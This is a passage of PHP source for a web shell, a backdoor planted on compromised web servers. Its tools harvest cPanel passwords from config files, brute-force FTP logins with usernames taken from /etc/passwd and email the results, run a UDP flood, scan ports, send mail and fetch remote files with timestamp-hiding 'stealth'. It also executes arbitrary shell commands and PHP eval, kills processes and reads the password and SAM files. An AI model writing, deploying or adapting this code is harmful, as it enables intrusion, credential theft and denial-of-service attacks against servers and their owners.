$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); return $pass; } } } function ftp_check($login,$pass) { @$ftp=ftp_connect('127.0.0.1'); if ($ftp) { @$res=ftp_login($ftp,$login,$pass); if ($res) { echo '[cPanel Found] '.$login.':'.$pass." Success\n"; } else ftp_quit($ftp); } } echo "

    "; echo "
    "; }else echo '
    Are you sure you would like to search for cPanel accounts on this website/server?
    Please note this may take a long time to execute depending on the website/server it is run on.

    Yes || No
    '; } if ($x == 'fi'){ ?> Install Local RFI/LFI Scanner
    method=GET> Path to install in: (must have final /)
    fi.pl was created in '.htmlentities($_GET['path']).''; chmod($_GET['path'].'/fi.pl', 0777); echo '
    To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\''; }else{ echo 'Directory is not writable!
    '; } } } if ($x == 'phpproxy'){ ?> Install PHP Based Proxy
    method=GET> Path to install in: (must have final /)
    proxy.php was created in '.htmlentities($_GET['path']).''; chmod($_GET['path'].'/proxy.php', 0777); }else{ echo 'Directory is not writable!
    '; } } } if ($x == 'phptools'){ ?>
    Mailer




    '; if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) { $headers = 'From: '.$_GET['from']; mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers); echo 'Email sent.'; } //port scanner echo '
    Port Scanner
    '; $start = strip_tags($_GET['start']); $end = strip_tags($_GET['end']); $host = strip_tags($_GET['host']); if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){ for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo 'Port '.$i.' is open
    '; } flush(); } }else{ ?>
    Host:

    Port start:

    Port end:

    "; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "
    UDP Flood
    Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '

    Host: Length (seconds):
    '; }else{ echo '
    UDP Flood
    Host:

    Length (seconds):

    '; } ?>
    "; echo "". "". "". "". "". "
    "; echo ".: Ftp Quick Brute :.
    "; if ($win) {echo "Couldn't run on Windows!";} else { function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} else {$TRUE = TRUE;} if ($TRUE) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; ob_flush(); return TRUE; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = FALSE;} $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."ca_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "
    ". "Read first:
    Users only with shell
    Logging
    Logging to file:
    Logging to e-mail:
    "; } echo "
    "; } } if ($x == "d") { if (!is_dir($d)) { echo "
    $d is a not a Directory!
    "; } else { echo "Directory information:"; if (!$win) { echo "
    Owner/Group "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
    "; } } if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();} if ($x == "security") { echo "
    .: Server Security Information :.
    ". "". ""; echo ""; } else {echo "You can crack Windows passwords. Download, and use lcp.crack+ ?.";} } echo ""; echo ""; function displaysecinfo($name,$value) { if (!empty($value)) { echo ""; } } if (!$win) { displaysecinfo("OS Version",myshellexec("cat /proc/version")); displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD Space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount Options",myshellexec("cat /etc/fstab")); displaysecinfo("cURL installed?",myshellexec("which curl")); displaysecinfo("lynx installed?",myshellexec("which lynx")); displaysecinfo("links installed?",myshellexec("which links")); displaysecinfo("fetch installed?",myshellexec("which fetch")); displaysecinfo("GET installed?",myshellexec("which GET")); displaysecinfo("perl installed?",myshellexec("which perl")); displaysecinfo("Where is Apache?",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("Locate my.conf",myshellexec("locate my.conf")); displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf")); } else { displaysecinfo("OS Version",myshellexec("ver")); displaysecinfo("Account Settings",myshellexec("net accounts")); } echo "
    Open Base Dir".$hopenbasedir."
    Password File"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
    "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
    From:  To:  

    "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)."
    "; } $i++; } } else {echo "Get /etc/passwd";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "
    You can't crack Windows passwords(".$v.")
    Config Files"; if (!$win) { $v = array( array("User Domains","/etc/userdomains"), array("Cpanel Config","/var/cpanel/accounting.log"), array("Apache Config","/usr/local/apache/conf/httpd.conf"), array("Apache Config","/etc/httpd.conf"), array("Syslog Config","/etc/syslog.conf"), array("Message of The Day","/etc/motd"), array("Hosts","/etc/hosts") ); $sep = "/"; } else { $windir = $_SERVER["WINDIR"]; $etcdir = $windir . "\system32\drivers\etc\\"; $v = array( array("Hosts",$etcdir."hosts"), array("Local Network Map",$etcdir."networks"), array("LM Hosts",$etcdir."lmhosts.sam"), ); $sep = "\\"; } foreach ($v as $sec_arr) { $sec_f = substr(strrchr($sec_arr[1], $sep), 1); $sec_d = rtrim($sec_arr[1],$sec_f); $sec_full = $sec_d.$sec_f; $sec_d = rtrim($sec_d,$sep); if (file_get_contents($sec_full)) { echo " [ ".$sec_arr[0]." ] "; } } echo "
    ".$name."
    ".wordwrap($value,100)."
    \n"; } if ($x == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object already exists!";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied!";} else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$x = $dspact = "ls";} } if ($x == "encoder") { echo "". "
    ". "". "
    ". "". "". ""; foreach(array("md5","crypt","sha1","crc32") as $v) { echo ""; } echo "". "". "". "". "". "". "". "
    .: Encoder :.
    Input:
    ". "
    Hashes:".$v.":
    Url:urlencode:
    urldecode:
    Base64:base64_encode:
    base64_decode:"; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) { echo ""; } else { $rows++; echo ""; } echo " [Send to input]"; } echo "
    Base convertations:dec2hex
    Online md5 , sha1 , mysql password crackerEnter
    "; } if ($x == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "

    Buffer is empty!

    ";} else { $fx_infohead = "File-System Buffer"; $ls_arr = $arr; $disp_fullpath = TRUE; $x = "ls"; } } if ($x == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; capriv8exit(); } else {echo "
    Can't delete ".__FILE__."!
    ";} } else { if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; } } if ($x == "search") { echo "
    .: $sh_name File-System Search :.
    "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {cafsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = TRUE; $x = "ls"; } } echo "". "". "". "". "". "". "
    ". "". "File or folder Name:
      - Regular Expression
    Look in (Separate by \";\"):
    A word or phrase in the file:
    Regular Expression". " Whole words only". " Case sensitive". " Find files NOT containing the text
    "; if ($x == "ls") { $dspact = $x; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
    ". "
    "; } } if ($x == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; } } } if ($x == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} if (!empty($submit)) { global $_FILES; $uploadfile = $_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    "; } else { $uploadmess .= "File uploaded successfully!
    ".$uploadpath.$destin; } } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) { if ($i > 0) {$b = "_".$i;} $destin = "upload".$b; $i++; } } } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorrect URL!";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
    ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} $uploadmess .= "File saved from ".$uploadurl." !"; } } } } else { echo "No file to upload!"; } } if ($miniform) { echo "".$uploadmess.""; $x = "ls"; } else { echo "". "". "". "". "". "". "". "
    ". ".: File Upload :.".$uploadmess."
    ". "From Your Computer:
    From URL:
    Target Directory:
    Target File Name:
    Convert file name to lowercase
    ". "
    "; } } if ($x == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
    ";} } if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} $x = "ls"; } if (!$usefsbuff) { if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "
    Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
    ";} } else { if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; } elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";} elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } ca_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $x = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } ca_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} $x = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } ca_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $x = "ls"; } } if ($x == "cmd") { @chdir($chdir); if (!empty($submit)) { echo "
    .: Result of Command Execution :.
    "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10; } if ($msie) { $cols = 113; } else { $cols = 117;} echo "
    ".htmlspecialchars($ret)."
    "; } else {echo $ret."
    ";} @chdir($olddir); } else { echo "Command Execution"; if (empty($cmd_txt)) {$cmd_txt = TRUE;} } } if ($x == "ls") { if (count($ls_arr) > 0) { $list = $ls_arr; } else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } } if (count($list) == 0) { echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} else { $objects = array(); $vd = "f"; if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = "Name"; $row[] = "Size"; $row[] = "Date Modified"; if (!$win) {$row[] = "Owner/Group";} $row[] = "Perms"; $row[] = "Action"; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = " "; $y .= "\"".($parsesort[1]"; $row[$k] .= $y; for($i=0;$i".$row[$i]."";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = "";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = " ".$o.""; $row[] = "CURDIR"; } elseif ($o == "..") { $row[] = " ".$o.""; $row[] = "UPDIR"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = " [".$disppath."]"; } else { $type = "DIR"; $row[] = " [".$disppath."]"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = " ".$disppath.""; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "".view_perms_color($v).""; if ($o == ".") {$checkbox = ""; $i--;} else {$checkbox = "";} if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "
    .: "; if (!empty($fx_infohead)) { echo $fx_infohead; } else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } echo " :.
    \n"; echo "
    ". ""; foreach($table as $row) { echo ""; foreach($row as $v) {echo "";} echo "\r\n"; } echo "
    ".$v."
    ". "". "
    ". "  ". ""; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "                  "; } echo " 
    "; echo "
    "; } } if ($x == "tools") { } if ($x == "phpfsys") { echo "
    "; $fsfunc = $phpfsysfunc; if ($fsfunc=="copy") { if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} else { echo "Success! $arg1 copied to $arg2\n"; } } elseif ($fsfunc=="rename") { if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} else { echo "Success! $arg1 renamed/moved to $arg2\n"; } } elseif ($fsfunc=="chmod") { if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} else { echo "Perm for $arg1 changed to $arg2!\n"; } } elseif ($fsfunc=="read") { $hasil = @file_get_contents($arg1); echo "Filename: $arg1
    "; echo "\n"; } elseif ($fsfunc=="write") { if(@file_put_contents($d.$arg1,$arg2)) { echo "Saved! ".$d.$arg1; } else { echo "
    Couldn't write to $arg1!
    "; } } elseif ($fsfunc=="downloadbin") { $handle = fopen($arg1, "rb"); $contents = ''; while (!feof($handle)) { $contents .= fread($handle, 8192); } $r = @fopen($d.$arg2,'w'); if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } else { echo "
    Couldn't write to ".$d.$arg2."!
    "; } fclose($r); fclose($handle); } elseif ($fsfunc=="download") { $text = implode('', file($arg1)); if ($text) { $r = @fopen($d.$arg2,'w'); if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } else { echo "
    Couldn't write to ".$d.$arg2."!
    "; } fclose($r); } else { echo "
    Couldn't download from $arg1!
    ";} } elseif ($fsfunc=='mkdir') { $thedir = $d.$arg1; if ($thedir != $d) { if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } else { echo "Dir created: ".htmlspecialchars($thedir);} } else { echo "Couldn't create current dir: $thedir"; } } elseif ($fsfunc=='fwritabledir') { function recurse_dir($dir,$max_dir) { global $dir_count; $dir_count++; if( $cdir = @dir($dir) ) { while( $entry = $cdir-> read() ) { if( $entry != '.' && $entry != '..' ) { if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { if ($dir_count > $max_dir) { return; } echo "[".$dir_count."] ".$dir.$entry."\n"; recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); } } } $cdir->close(); } } if (!$arg1) { $arg1 = $d; } if (!$arg2) { $arg2 = 10; } echo "Writable directories (Max: $arg2) in: $arg1
    "; echo "
    ";
        recurse_dir($arg1,$arg2);
        echo "
    "; $total = $dir_count - 1; echo "Founds: ".$total." of Max $arg2"; } else { if (!$arg1) { echo "
    No operation! Please fill parameter [A]!
    \n"; } else { if ($hasil = $fsfunc($arg1)) { echo "Result of $fsfunc $arg1:
    "; if (!is_array($hasil)) { echo "$hasil\n"; } else { echo "
    ";
              foreach ($hasil as $v) { echo $v."\n"; }
              echo "
    "; } } else { echo "
    $fsfunc $arg1 failed!
    \n"; } } } echo "
    \n"; } if ($x == "processes") { echo "
    .: Processes :.
    "; if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); } else { $handler = "tasklist"; } $ret = myshellexec($handler); if (!$ret) { echo "Can't execute \"".$handler."\"!"; } else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") { $y = ""; } else { $y = ""; } $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i".$head[$i]."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} $line[] = "KILL"; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $stack[0]=str_replace("Image Name","ImageName",$stack[0]); $stack[0]=str_replace("Session Name","SessionName",$stack[0]); $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); $head = explode(" ",$stack[0]); $stack = array_slice($stack,1); $head = array_values($head); if ($parsesort[1] != "a") { $y = ""; } else { $y = ""; } if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i".trim($head[$i]).""; } } $prcs = array(); unset($stack[0]); foreach ($stack as $line) { if (!empty($line)) { $line = explode(" ",$line); $line[4] = str_replace(".","",$line[4]); $line[4] = intval($line[4]) * 1024; unset($line[5]); $prcs[] = $line; } } } $head[$k] = "".$head[$k]."".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo ""; foreach($tab as $i=>$k) { echo ""; foreach($k as $j=>$v) { if ($win and $i > 0 and $j == 4) {$v = view_size($v);} echo ""; } echo ""; } echo "
    ".$v."
    "; } } if ($x == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code:
    "; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
    "; } else {echo $ret."
    ";} } else { if ($eval_txt) { echo "
